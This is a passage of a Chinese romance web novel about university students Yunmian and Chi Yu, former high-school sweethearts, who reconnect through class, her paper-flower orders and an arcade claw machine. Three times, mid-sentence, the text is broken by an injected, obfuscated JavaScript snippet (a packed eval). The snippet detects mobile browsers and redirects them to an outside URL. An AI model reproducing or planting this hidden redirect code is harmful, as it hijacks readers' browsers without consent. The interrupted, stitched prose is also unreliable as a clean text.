她是替舍友来的，上学期便见识过这位老师的威力。于淼便是因为逆着她说话，才得到了唯一一个挂科。 但……她并不觉得迟郁说的有什么不对。 老师直直地盯着她，云眠感觉到自己后背滚烫，两条视线一前一后，似乎要将她拉扯开。此时的教室寂静又滚烫，好像……她的回答十分重要。 云眠手指蜷起，抓紧了衣角，她清楚地听见自己声音的颤抖与不安：“美是——” “美是能引起人们美感的客观事物的一种共同的本质属性，比如艺术美、自然美和社会美。” “自然美有，大自然的风光和动植物。” 话音刚落，她背后的视线忽然断裂，像剪断的丝线，干脆又利落。 云眠低下头，抿了抿嘴唇。 “很好！非常专业而且客观。”老师向她投来赞赏的目光，点头道，“这位同学，你叫什么名字？” “……于淼。” “于淼。”老师重复了一下，翻看着点名册，“哦，重修的是吧，坐下吧，这学期好好表现啊。” 云眠“嗯”了一声，迟钝地坐回自己的位置。她低头，桌上息屏的手机倒映出迟郁的剪影，唯独看不清脸。 老师再次叫起了其他的同学，与云眠不同，这位女生动作很快，坚定地站起，高声说道：“老师，我认同那位男同学的观点。” “虽然和课本上的定义与解释不同，但题目的本质不是让我们畅所欲言吗？我认为美的就是美，没有标准答案。” 老师淡淡扫了她一眼，叫起了另一个同学。女生没有在意她的无视，仍旧坚持地补充：“我不觉得他说错了。” 出人意料的是，下一个被叫起的同学也表达了对迟郁的支持。 上学期的这一堂课，只有于淼独自一人站立着，因为不同的观点而被批评着。 云眠没有被叫起来回答问题，为了奖学金，她也没有自告奋勇的勇气。哪怕，她的内心波涛起伏，久久不息。 而这堂课的最终，以老师转移了话题而结束，她自顾自地讲着课本内容，零零散散的同学也坐了下去。 迟郁是最后一个。 云眠听见身后传来的颇有象征意味的椅子声音，沉默地低下了头。 [hxhmmzmb：不好意思啊，刚刚被老师叫起来回答问题了，没来得及上课。] 手机倏地亮起，云眠这才发现迟郁已经从那黯淡的屏幕中消失很久，她垂下头，看向了那抹光亮。 [眠眠：没关系，我也在上课。] [hxhmmzmb：感觉某些老师好奇怪啊，问一些很刁难的问题。] 欸？ 云眠手指一顿。 [hxhmmzmb：明明还是专业课老师。] 云眠抬头看了一眼于淼买的依旧崭新的四手课本，撇去了内心的疑惑。 [眠眠：我在上的这门水课，老师也很奇怪。] [hxhmmzmb：方便吗？跟我说一下？] [眠眠：就是……不允许别人忤逆她。] [眠眠：我有个……认识的男生，因为表达了自己的观点就被她罚站了。然后她又让我回答，我是替舍友来上课的，所以只能昧着良心说她爱听的。] 迟郁的视线跳到云眠身上，嘴角弯了一下。 几秒钟后。 [眠眠：但是，看见有很多人支持他，我又开心又伤心，觉得好像，我自己有错一样。] 云眠也不知道，自己为什么对这个陌生人有如此大的倾诉欲。 她垂下眼睫。 开心的是，迟郁不是一个人。 伤心的是，支持迟郁的人里没有自己。 并不单纯因为他是迟郁，而是，云眠觉得他是正确的。 [hxhmmzmb：你当然没错啊，毕竟这是你舍友的课嘛。你的那个……认识的男生，肯定也会理解你的。] 是吗？ 云眠不敢回头确认。 [hxhmmzmb：如果是我，肯定也会这么做的。] [hxhmmzmb:对了，你跟那个男生……关系好吗？] - 时值盛夏，空气中满是燥热，云眠走在回宿舍的路上。两侧的垂柳轻抚过暖风，树干被日光晒得发白，人行道上自行车来来往往，正是下课时间，喧哗声不绝于耳，云眠走得很慢。 她仍旧在想那一条消息。 由于自己的胆怯，云眠不敢主动向迟郁确认他是否因此而伤心难过，或是对自己有所不满，但“hxhmmzmb”的话语确实安慰了她几分。 也对，迟郁不是那种人。 不过。云眠心想，她和迟郁的关系……好吗？ 来上课前，他们还通过电话。那头的迟郁像刚睡醒，语气懒散又随意，还带着种迷迷糊糊的调子。 “我妈挺喜欢你的。” 脑子里突然响起迟郁的声音，云眠一怔，耳边不禁泛起红晕。 当时她怎么说的来着？ ——啊，阿姨认识我吗？ 云眠后知后觉地、迟钝地感觉到了不堪，她怎么这么傻。 怎么可能不认识。那时他们的恋爱人尽皆知，闹得沸沸扬扬，谁都说高高在上的迟大少爷鬼迷心窍，被她迷得神魂颠倒，命都不要了。而迟郁的家人，又怎么可能不知道。 ……知道了，又怎么可能喜欢她。 仅仅在太阳下站了几分钟，云眠便被烤得头晕眼花，她扬起手拍了拍自己的脸，这才回过神来。 想什么呢。 再怎样，都已经是过去式了。 喜欢也好，不喜欢也罢，她和迟郁的故事早就结束了。 - 屋里空调开得正盛。 迟郁裸着上半身，斜倚着墙，露出结实美观的肌肉线条，他微微低头，肩颈线条清晰诱人，胳膊上青筋明显。 “迟少爷，你身材这么好啊。”舍友端着水杯路过，忍不住调侃一声，抬起手。 迟郁垂眸，抓住他手臂：“别乱摸。” “好好好，知道迟少爷最不喜欢跟别人有肢体接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621176|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触了。”舍友李朝阳喝了口水，“连碰到手都不行。” 迟郁瞥他一眼，懒得回话，继续低头看着手机。 “不过话说，你真不跟王洋玩了？他正搁隔壁宿舍里难受呢。”李朝阳靠在他对面，一副和事佬的姿态，“不至于吧？他不就在教室里抽了根烟吗。” “本来也不玩。”迟郁眼都没抬，“跟他不熟。” 李朝阳似乎很是心疼王洋，打量了他一下：“不熟？那你跟谁熟啊，也没见你跟谁玩。给你发消息也不回……” 余光突然瞥见迟郁正在打字聊天，李朝阳站直，伸长脖子，抬头偷看：“跟谁聊天呢？” 迟郁收起手机，冷哼一声，淡淡抬眼。 李朝阳看了个空，又瞅见迟郁表情不善，不禁打了个寒颤，讪讪地端着水杯离去。 迟郁重新打开云眠发来的照片，垂下眼睛。 [眠眠：进度。] [眠眠：发送图片] 画面中，云眠的桌子干净整洁，没什么多余的东西，中间摊着许多片花瓣，阴影交叠，每片的中间都粘上了铁丝，其中几片的两边烫出了漂亮的波浪形状。照片的边缘，云朵形状的化妆镜里，云眠举着手机，一脸严肃与认真。 迟郁又看了几秒，才退出去浏览云眠发来的信息。 [眠眠：大概烫成这种形状。] [眠眠：这个上色可以吗？] 太久没回，似乎是怕他不满意，云眠再次补充道。 [眠眠：不行的话，可以改。] 迟郁勾了下嘴角。 [hxhmmzmb：可以的。] [hxhmmzmb：很好看，你学过吗？] [眠眠：……差不多吧，我妈妈会做。] 迟郁皱眉。 妈妈教的？他怎么没听云眠提起过。 又或者说，迟郁从来没见过云眠的妈妈。 哪怕是两人因为早恋被叫家长，站在办公室里挨训的也只有迟母。而那时的云眠，低着头，像做错事的孩子般不知所措，听着门后传来的并不清楚的声音，一双明亮的眼睛里盈着眼泪，仿佛下一秒就要“啪塔啪塔”掉下珍珠。 那时的迟郁弯下身子，不知该不该伸手替她拂去眼泪。 其实他想要抱住云眠。 天不怕地不怕的迟大少爷第一次喜欢一个人，第一次谈恋爱。 也是第一次遇见自己处理不了的事情。 那时的他不知道，云眠为什么哭得那么伤心。也不知道，云眠的妈妈为什么没有来学校。 他和云眠好像并不熟悉。 他揽下了所有过错，一个人在全校面前念检讨，一个人在深夜里被迟父拎着台球杆抽，一个人接受云眠决绝的分手，而他的挽留丝毫无用，再之后，一个人努力读书，考上了她的大学。 哪怕云眠依旧没有接受他。 迟郁依然很开心。 如果云眠不能接受他，那他可以换个身份对她好。 迟郁看着自己与云眠空空荡荡的微信聊天框，上次的消息她没有回复。 但交易平台上，云眠对他袒露了心声，哪怕很少。 迟郁不禁弯起嘴角，眼底浮现出笑意。 他的手机界面停留在那一条消息。 [hxhmmzmb：对了，你跟那个男生……关系好吗？] [眠眠：……挺好的。] 8. 娃娃机 数学专业的课程排得很满，而且难以避免地有些枯燥，让人昏昏欲睡。 云眠半趴着身子听课，讲台上的老师正滔滔不绝地讲解着概率论，她右手握笔，在草稿纸上简单计算着。 徐燕无声地打完了一把游戏，转头瞥见云眠认真的神情，不禁感叹道：“不愧是学霸，这么恶心的内容你都听得津津有味。” “那当然啊，我们眠眠毕竟是年级第一。”林晓琳正在课桌下偷偷给男友织围巾，顺嘴调侃了一下。 云眠笑了一下，用胳膊偷偷遮住了空白的本子上留下的涂涂画画。 心思却不由自主地漂浮到她与那个不知名的顾客的聊天记录。 对方看起来对烫花颇有兴趣，但毫无研究。对她所制作出的成品没有一丝意见，宽容到了令人意外的程度。 甚至连她不小心烫坏了一朵都没发现，还是云眠自己检查时找出的。 看起来，并不在意自己即将收到的烫花，哪怕花了昂贵的价格。 云眠垂下眼睑，漆黑的眼瞳中闪过一丝疑惑。 这人……真的是为定制而来的吗？ 况且，据他所说，他十分巧合地和自己同一个学校。 但在云眠询问收货地址时，他给出的竟然是校外的地址。 校内地址，或者面交，不应该更方便且快捷吗？ 课本又折了一页。云眠翻开笔记本，记录下PPT上的重点内容，同时添加了一些自己的理解。 虽然对数学不感兴趣，也不打算从事相关行业。但为了数目可观的奖学金，她需要好好学习。 在老师短暂离开教室时，徐燕放下手机，倏地趴到她耳朵边，低声道：“眠眠，今天下午没课，要不要出去玩？” 云眠也压低了声音：“去哪？” “电玩城？”徐燕提议，“刚好琳琳她们也想去。” “可以啊。” 徐燕拿出手机，搜索着附近的电玩城：“我找找——要不就去首都一中旁边那个？听说重新装修了。” 闻言，云眠顿了一下，笔尖划出一段直线，半晌沉声道：“可以。” 最终，她们约好在下午三点出发，云眠打算先独自去练会舞，便提出到时再和她们集合。 讨论完这一话题，老师也已经回到了教室。云眠低头预约了附近的练习室。 卖出了100支烫花，她有了余钱，可以再学一段时间的舞蹈。 - 空无一人的舞室里。 云眠面无表情地做着热身活动。 她生得本就明眸皓齿，一双眼睛秋水般澄澈，此时没什么情绪，淡然地望着镜子，像不近人色的精灵。上身的淡粉色纱衣，衬得她皮肤更加白皙娇嫩。哪怕只穿着简单的修身裤子，也明显地看出两腿修长笔直，整个人像淡雅的粉蝴蝶。 云眠垂眸俯身，播放一首《小雨》，随之翩然起舞。 她动作干脆利落，柔和又有力量，整个人轻盈若蝶，与她冷静到有距离感的外貌不同，举手投足间勾人心魄，柔情万分。 一头瀑布般的黑色长发被挽起，扎成干净简单的麻花辫，银色发圈在舞动间折射出光芒，熠熠生辉。 一舞毕，云眠垂下眸子，出神般地望着镜子里的那个人—— 她实在是怀念这样的自己。 越是怀念，她便越不经意间流露出几分伤心与脆弱。 当初，如果不是云初芸的阻拦。 她应该已经被中国舞专业录取了吧？ 如果不是云初芸的阻拦。 她和迟郁—— 云眠阖眼，轻轻吸了口气，极力将自己从负面情绪中拉出。 再跳了几只舞后，云眠靠着墙休息，喘着气，慢慢坐到地上。 她拿起手机，发现竟有几条未读消息。 [hxhmmzmb：你好，烫花收到了，很喜欢。我想再订一些。] [hxhmmzmb：没看手机吗？] [hxhmmzmb：那我们待会再聊吧，我想再多订一些:-D] 云眠抬手，解下发圈。 [眠眠：要多少？] 对面秒回。 [hxhmmzmb：最多可以订多少啊？] [眠眠：……？] [hxhmmzmb：就是，我爸妈挺喜欢的，还想再订一些。刚好我们是校友嘛。所以就顺便照顾一下你的生意。] [hxhmmzmb：要不，再来200支？] 云眠盯着他的昵称看了几秒，发送了一个“好”。 屏幕的荧光衬得她长睫轻垂，倏然闪动。 半晌，云眠再次起身，继续投入到下一首舞蹈中。 - 首都一中旁的电玩城占据了良好的地理环境，多年来一直生意火爆，厅内热闹非凡。 迟郁浅浅打量了几眼，一年前，他爸收购这个电玩城，进行了大翻新，不少他曾经熟悉的游戏机都已经不复存在了。唯一没变的是，最角落的抓娃娃机，浅粉色的。 这是迟郁曾经大闹了三天，才让他爸留下的。 古早的抓娃娃机低矮，甚至有些掉漆，与这里的靓丽格格不入。其他机器前已经挤满了游客，唯独这里冷冷清清。 迟郁抬眼。 他忽然记起了第一次与云眠来的场景。 短短一年多时光而已。 那时这抓娃娃机是最火爆的。他们下课晚，赶来时已经人满为患，只能站在人群的最后远望。 “好想玩。”云眠喃喃道。 “你想玩？”迟郁低头看她，又扫了一眼前面的人，“我去让他们让开。” “欸！”云眠一惊，伸手拉他衣角。 但没拦住。 迟大少爷已经大步流星地窜到了人群之中。 他长得高，此时仍然能冒出一个头。云眠看见他张了张嘴，说道：“你们去玩别的，我要玩这个。” 话音刚落，便传来几声怒骂。 “有病啊？要不要脸？” “你谁啊！这你家开的？” “凭什么给你玩？滚后边去。” 迟郁淡淡地补充道：“现在让开的，一人一百块。” “……” “切！装什么，谁信啊！？” 游客们纷纷翻着白眼，奋力将他向旁边挤去，却因为力气不敌迟郁，无果，只得继续低声骂着。 唯有一个人，慢慢举起了胳膊：“那个，我给你让，你真的给钱吗？” “收款码。” 迟郁拿出手机，动作迅速地扫了二百块钱。 一瞬间，人群沸腾。 仅仅五分钟，迟郁便扫完了最后一人的收款码，抬眼看向不远处的云眠。 “他们走了，来玩？” 那时云眠的表情非常可爱。 想到这里，迟郁不禁垂头，低声笑了一下。 再抬头，却看见原本空空荡荡的抓娃娃机前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621177|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，蹲了一个女生。 - “眠眠！你来啦！”徐燕站在游戏厅门口，朝她招了招手。 云眠应了一声，走了过去：“你们今天穿得好漂亮。” 她出门时，几人还躺在床上睡觉，再次见面时都换成了精致的衣服，脸上笑颜如花。 于淼拽了拽背带裤的带子，挠头道：“我还有点不习惯呢，这个穿着好麻烦。” “背带裤就是这样的啦。”林晓琳原地蹦了几下，兴奋道，“我们快去玩吧！听说这里装修后变得更好玩了！” 于淼跟着她往里走，有些不解：“怎么突然重新装修了？” “好像是被什么人收购了。”徐燕走在最前面，去机器前兑了一筐游戏币，随后一一给她们分发。 云眠低头，看着自己手心的一把游戏币，思绪渐渐漂浮了起来。 上次来这里，还是和迟郁谈恋爱的时候。 那时未装修，整个游戏厅充斥着千禧风，位于最中间的抓娃娃机是他们最爱玩的。 ——主要是云眠爱玩。 她很喜欢这种待在透明橱柜里的玩具，也很享受将他们抓出的过程。 但她不怎么会玩，迟郁虽然比她会一点，但也比较看运气。 云眠忽然想起。 那次，她最喜欢角落里的那只雪白的毛绒小狗。 她伸手指着，嘴角弯弯，轻笑道：“这个好像你，头上还带着蝴蝶结，跟你打的一样。” 迟郁正在摆弄着推车里的娃娃，试图将它们整齐排列。闻言，他抬头，和那只咧着嘴笑的小狗对上视线：“行，把它抓出来。” 但花了二百个游戏币，他们也没有成功抓出那只小狗。 云眠看他花钱如流水，不免皱了皱眉：“要不算了吧。” 迟郁正撑着游戏机，碎发扫过眉尾，声音带着点郁闷：“我技术这么差么？” 云眠失笑，刚想出声安慰他。 迟郁猛地抬起头，眼里闪着光，提议道：“我去找老板把它买下来。” 迟大少爷在电玩城，总是花一些额外的钱。 云眠沉浸在回忆中，笑了出声。 旁边的徐燕错愕地瞥了她一眼：“眠眠，你笑啥？” 云眠垂着眼，眼尾弯起像一钩月，她仍旧在笑：“没什么，我去别的地方看看。” 与徐燕道别后，她独自闲逛着，倏地反应过来。 现在寻找那个娃娃机，是不是有点太晚了？ 毕竟，都已经装修过了。 虽然如此想着，但云眠仍旧没有停下脚步，仿佛有一股莫名的引力拉扯着她慢慢、慢慢地向前走着。 突然，在空无一人的角落。 她竟然找到了，那个本该被讨厌的娃娃机。 云眠愣在原地，半晌，她走向前，蹲下身子。 这个古早的机器甚至有些掉漆了。 云眠抬手，指尖划过它身躯，留下一行干净的指印。 云眠看了看手掌，从那层灰的厚度来看，它应该，很久都无人问津了。 耳边是吵闹不休的音乐DJ声音，和各种机器启动的声音，以及游客们或高兴或愤怒的呐喊。 云眠的心中却渐渐宁静下来。 她神情专注，拿出纸巾擦干了启动按钮。 没等她摁下，一阵脚步声突然响起，在她安静的耳畔显得格外清脆。 一步，又一步。 最终竟停在了她的身后。 9. 这么久 脚步声停下的瞬间。 云眠呼吸一滞，像有什么预感般，心中突然开始狂跳。 灯光一转，身后的影子被拉长，蔓延到了橱窗的玻璃上，漆黑的，但云眠似乎可以认出是谁。玻璃映出他身影，两人的距离很近，近得仿佛，他一弯腰，云眠就会被他圈入怀中。 云眠长睫遮住眼睛，抿了抿嘴唇，犹豫是否该转过身去。 这一段沉默逐渐变得冗长又戏剧。 绸缎般的黑色长发垂在腰间，随着她的转身而飘然摇晃。 云眠的视线中刚要出现他的身影—— 迟郁俯身。 他抬手，越过女生的身躯，兀自搭上了娃娃机的启动按钮。 云眠僵在了原地。 他没有按下去，反而垂眸盯着云眠，声音低沉又有些哑：“不知道还能不能启动？” “都这么久了。” 他话语间的意味实在太过明显。 都这么久了。 同样身处故地，同样泛起涟漪，陷入回忆里的云眠睫毛颤抖了一瞬。 迟郁没有因她的哑声而退缩，反而更靠近一步—— “你还想玩么？” 他手停滞在按钮上方半毫米处，明晃晃的赤裸眼神盯着她。 分手这么久。 迟郁还是第一次，如此有进攻性。 一如往常。 云眠垂眼，嘴唇轻颤，最终勾起一个不怎么明显的弧度：“想。” 以为会得到无视，或者否定回答。 迟郁愣了下，一双漆黑的眸子隐隐闪过几分不可捕捉的情绪：“那，要不要按下？” 他再次将决定权交到了云眠手中。 “不。”云眠摇头，抬眼撞入他眼眸。 迟郁再次顿住，看见她眼睫弯弯，笑得可爱又坦荡，不禁心脏抽疼了一下。他开口：“为什么？” 为什么不想？ 云眠和他对视。半晌，她倏地转身，手指摩擦过他手心，只一秒钟—— 她按下了按钮。 迟郁下意识闭紧了眼睛。 轻松欢快的音乐声响起。 迟郁心脏骤停般，随即慢慢放松了下来。还好，没有坏掉。 停滞一年的机器竟然还能运作。他余光瞥向云眠。不知他们的感情是否还能复原。 迟大少爷从小被调侃最多的一句话便是，喜新厌旧，三分钟热度，但还好家里有钱。 说来讽刺，因为一句“家里有钱”，他什么都可以做，什么都可以喜欢。也因此，他做什么都不长，喜欢什么都不久。 多年来，坚持最久的一件事，竟是弹钢琴。喜欢最久的，竟是云眠。 他所有的惯性在遇到云眠时都崩塌了。 迟郁低下头，发现云眠也以同样炽热的眼神看着自己。 偷看被抓包，云眠勾唇笑了一下。 她好像知道迟郁在想什么。 他们所想的相同，迟郁还喜欢她。 笑容停留了一秒，云眠嘴角耷拉了下去。 但她不能和这样的迟郁在一起。 - 林晓琳正和男友打着视频通话，为了抓到男友想要的娃娃，她几乎用完了所有的游戏币。 视野之中，徐燕和于淼都忙碌着玩乐，唯独不见云眠。 “眠眠是不是没玩？”林晓琳冒出了一个愉快的想法，“她肯定还有币！我去找眠眠要点游戏币吧！” 但她找遍了周围的游戏机，都没有找到云眠。林晓琳只得召集了剩下两人，决定一起寻找云眠：“宝贝拜拜！我先去找眠眠了，待会有空再给你打。” “一共才这么大点的地方，云眠能去哪啊？”徐燕抱着抓来的两桶薯片，来回张望，“你都找遍了吗？” “对啊！”林晓琳说，“不对，边边角角我好像没去。” 徐燕道：“眠眠也不可能去边边角角啊。去干嘛？亲嘴吗？” 林晓琳笑了起来。 旁边的于淼却有些尴尬，直愣愣道：“你先别笑了，可能真是亲嘴去了。” 顺着她的手指看去—— 云眠正蹲在角落，旁边蹲着个看背影就挺帅的男生。 两人看起来还挺般配。 若是普通关系，谁会两个人一起蹲在角落里这么长时间。还是个被淘汰的娃娃机面前？ 她们三人面面相觑。 徐燕率先打破了僵局，提议道：“要不，我们过去问问？” 于淼：“好尴尬。” 林晓琳：“我也觉得。” 徐燕挠了挠头，突然眼前一亮：“欸，你们看那个男生，是不是有点眼熟？好像在哪里见过。” 于淼一头雾水。 林晓琳：“那天给她搬行李的帅哥！” 徐燕：“开学典礼的主持人！” 徐燕撸起袖子：“云眠骗人，她还说他们只是朋友，嘴都快亲上了！” 但她仍旧站在原地没动。同住一年，她发现云眠这人生活极其简单，除了上课就是烫花或者跳舞，也不像她们一样爱看帅哥或者打游戏。但云眠太漂亮太优秀，经常会有人向她表白。 可云眠从未答应过任何人，每次都拒绝得十分果断，丝毫不留余地。 徐燕的视线透过拥挤的电玩城，聚焦在云眠的半张侧脸上。 她还是第一次看见，云眠笑得这么开心。 “哎！美女。”一个男生突然窜到了她们面前，他染着黄毛，穿着潮流的马甲，话里带着些痞气，“你们有没有看到一个帅哥？又高又帅的，很帅的。” “……”徐燕沉默。 “我去，徐帆，你这是什么描述啊。”另一个戴着眼镜的男生紧随其后，有些嫌弃地吐槽，随后对着几位女生伸出了手，“你们好，我叫李朝阳，是首都大学的。我舍友找不到了，他叫——” “你搁这儿相亲呢！干脆把迟郁的身份信息全说出来好了！”徐帆白了他一眼，“照你这样更不可能找到。” “迟郁？”徐燕重复，和两个舍友对视了一眼，“不就是跟眠眠在一起的那个？” 两个男生顺着他们的视线望去—— 哎呦。 早知道不找了。 他们声音太大，迟郁皱了皱眉，转过头便看见自己的两个舍友正伸手指着他。 娃娃机虽然能启动，但可能是因为年久失修，爪子十分不灵敏，云眠花光了游戏币，一个都没抓起来。 消耗掉最后一个币，她却笑了起来。 迟郁侧头问道：“笑什么？” 云眠撑着下巴，不去看他，眼底笑意难掩：“我在想，现在花钱能不能买下来？” 迟郁表情一滞。 他刚要开口。云眠却先他一步，在原地蹲了下来，一双漆黑明亮的眼睛直直地望着面前橱窗内的娃娃。 看起来认真又专注。 迟郁不愿打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621178|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰她，挨着她坐了下来。 云眠其实是个很安静的人。 从高中起便如此，和自己不同。云眠不喜欢惹人注意，除了在台上跳舞或弹钢琴时，总是极力地让自己处于透明的状态，不被人关注。 迟郁虽然与她谈恋爱，但客观来说，他并不懂她。 此时两人之间的距离很短，短到若是高中时期，他一定会低头去吻她。 可是，迟郁从来没有主动地留意过，云眠是否真的想要被他亲吻？ 迟郁不知道，此时的云眠在想什么。 他心中像有一条弦拉紧又绷断，像他第一次去学钢琴，手指的节奏杂乱无章，错落的音符跳跃而出。像云眠主动吻他时，他内心颤动，却没有感受到云眠同样的颤动。 迟郁垂下了眼睛。 这里如此吵闹，他却觉得安宁。 直到这份宁静被打破。 他转过头，看见自己的两个舍友伸长着胳膊指着他，嘴里不知在说些什么。 迟大少爷感觉气血上涌，非常生气。 “啊。”云眠也转过了头，没什么情绪波动，她起身，远远地招手，“你们来找我吗？” “呃……对。”徐燕尴尬地笑笑，“看你旁边有人就没打扰你。” 云眠“嗯”了一声，正准备走过去，她的手腕忽然被拉住。 迟郁没看她，声音很闷，头也耷拉着：“云眠。” 云眠投去了疑问的视线。 迟郁清了清嗓子，说得很快：“我喜欢你。” 云眠顿住。 啊？ 我喜欢你。 ……啊？ 她突然不知道该说什么。 也许是第一次表白时太过轰轰烈烈，也许是这场感情的拉扯战线太长，云眠难以相信，迟郁会如此直白的对她表明心意。 虽然，在一起时，迟郁总是一遍遍地对她说着喜欢。 ……但毕竟已经分开。 这句话总该带着几分求和好的意味，怎能如此轻率？ 云眠无声地张了张嘴。 “你别误会。”迟郁补充道。 云眠迟缓地眨眼。误会？ 迟郁已经起身，跨步走到她身前，只留下一个背影。 但云眠清晰地看见他通红的耳朵。 “我不是跟你表白，也不是要跟你和好。只是，提醒你一下。” “顺便……收回我之前说的那句话。” [cy：我早就不喜欢你了。] 云眠点了点头：“这样啊。” 他们的对话以此而结尾。 云眠的舍友走了过来，而迟郁也前去和自己的朋友汇合，他们就此别过。林晓琳因为云眠花光了游戏币但一无所获而懊恼地呐喊，徐燕仍旧对她八卦，于淼则是在研究这个古老的抓娃娃机。 云眠收回了视线，嘴角不禁勾了起来。 其实，她知道迟郁喜欢她。 从开学那天，她摔倒在地，远处的迟郁扔下自己的行李，飞奔过来时，她就知道了。 只是想要得到确定而已。 其实那时，她比迟郁更先看见对方。 注意到迟郁立于人群中不知寻找着什么时，她便起了坏心思。 恰巧此时，付语容刚好路过她。 云眠挑了块儿有石子的地方，扑倒在地。 等待迟郁向她走来。 她相信迟郁一定会来。 10. 洋桔梗 那天过后，他们二人很长时间都没有再见面。 原本便不怎么热络的社交软件也更加沉寂。 周末清晨，初生的日光铺满阳台。徐帆正叼着烟收衣服，一转头瞥见迟郁从浴室出来，连忙掐掉了烟：“不好意思啊迟郁，我以为你还得很久，就点了一根。” 迟郁淡淡扫了他一眼，没说话。 他刚洗完澡，身上还带着水汽。赤裸的上半身肌肉线条流利，腹肌和马甲线都很明显。他随手披上了浴巾，喝了口水，没什么表情。 内心却万马奔腾。 他已经很多天没有见到云眠了。 也很多天没有和云眠聊天了。 迟郁拿起吹风机，随意地抓起头发吹着。 他竟然因为当时的表白不敢跟云眠说话了。 堂堂迟大少爷，竟然因为这种事儿有点羞涩，甚至不敢见人。 吹完头发，迟郁垂眸，从桌上拿起一罐可乐，动作行云流水单手地打开易拉罐。 当然，表面上，他还是十分波澜不惊的。 李朝阳刚从床上爬下来，戴上眼镜打了个哈欠：“迟郁，你不是昨晚才洗澡吗？” “习惯了。”迟郁喝下一口汽水，坐到了空闲的桌子上。 他们是四人寝，但剩下一个舍友退学了，因此便空出一个位置。几人东西又不多，自己的位置放得下，所以这里便一直空着。 一提到这位退学的舍友，李朝阳总是啧啧叹息：“太可惜了，好不容易考上首大。” “欸，迟郁。”徐帆此时已经收完了衣服，坐下打开电脑，问道，“打游戏不？” 迟郁：“不打。” “啊？你怎么也不打啊。”徐帆愣了一下，意外道，“李朝阳这么爱学习不打游戏就算了，你——看着不像啊。” 迟郁挑了挑眉。 徐帆转过头，自顾自地登陆了游戏，半晌对着自己的屏幕感叹道：“这游戏没皮肤真的没法玩啊，可惜前几年我没钱买，现在有钱了，皮肤都绝版了。” 迟郁正好路过，闻言，低头看了一眼：“我有啊，你玩我号呗。” “你不是不玩吗！”话虽这么说，徐帆一秒都没客气地要来了账号密码，迟郁这么有钱，皮肤肯定不少。 登陆好后，他拿着鼠标滚动了半天，张大了嘴巴：“不是，全皮啊！！绝版的皮肤你竟然都有？” “而且段位还这么高！你这号拿出去能卖天价了！” 迟郁抬了下眼皮，随口道：“以前挺爱玩的。” 徐帆仍然在震惊：“这么厉害，你得天天玩了吧？” 迟郁动作一顿。 高中的时候，他好像确实天天在打游戏。 李朝阳不知什么时候已经翻起了书，见缝插针道：“天天打游戏还能考上首大，你也太厉害了。” 没人理他。他声音很小，自言自语般喃喃道：“该不会是靠关系吧。” 迟郁却听见了，踹了一脚他凳子：“别放屁。” “我自己考上的。” 李朝阳冷哼一声，继续看书去了。 迟郁心里却久久不能平静。 准确来说，他只是高一高二时沉迷于打游戏。 后来就不打了。 因为什么来着？ ——好像是，为了好好学习跟云眠考上同一所大学。 迟郁从小就对读书不怎么感兴趣，虽然靠着脑子好使也能考个不错的成绩，但离首大肯定是差得远。 他爸妈又开明，宣称只要他乐意就砸钱把他送出国，爱干嘛干嘛。 反正他们家大业大，迟郁还有个哥哥，总不能因为他成绩不好就破产了。 但喜欢上云眠后，他竟然自发地戒掉了游戏。云眠去图书馆，他也跟着去，云眠学习，他也跟着补课。 后来分手后，他哭着求云眠别离开他，云眠说了句“那你可以考上首都大学来找我”。 迟郁还真就因为这句话开始埋头苦学，他爸妈差点感动死，以为祖坟冒青烟了。 但收到录取通知书的迟郁认真地反驳：不关祖坟的事儿，我是为了谈恋爱。 他迟郁被父母铺好的路竟然因为云眠而改变了。 现在他爸妈有时在外面吃饭还会吹嘘：我儿子早跟以前不一样了，跟你们这些砸钱出国的人不一样。 虽然迟郁知道，这只是为了肯定以及鼓励他的场面话。 但说出那句“我自己考上的”，真的很爽。 尤其是，他读书真的很努力。 迟郁突然很想云眠。 可那抹羞涩混杂着迟来的感激，他更不好意思给云眠发消息了。 他拿起手机，正准备用小号旁敲侧击地和云眠闲聊一下，却突然瞥见屏幕上方弹出的消息。 [云眠：要不要一起吃饭？] 迟郁手指一顿。 云眠给他发消息了。 云眠给他发消息了！！ 云眠要约他吃饭。 迟郁像没见过世面一般，嘴角的笑意藏都藏不住，眼睛也不可控制地亮了起来，脚步欢快地打开衣柜连换了两套衣服。 动静大到李朝阳都从书里拔出头，扶了扶眼镜：“你怎么了？要出门？” 迟郁看他一眼，绷住嘴角，神色淡然：“没怎么啊。” 可待他转过头，迟郁立马又换上了第三套衣服。 这样来回挑了半天后，迟大少爷终于决定好了今日的穿搭，打了个车前往云眠找好的约会地点。 他不管，单独见面，就是约会。 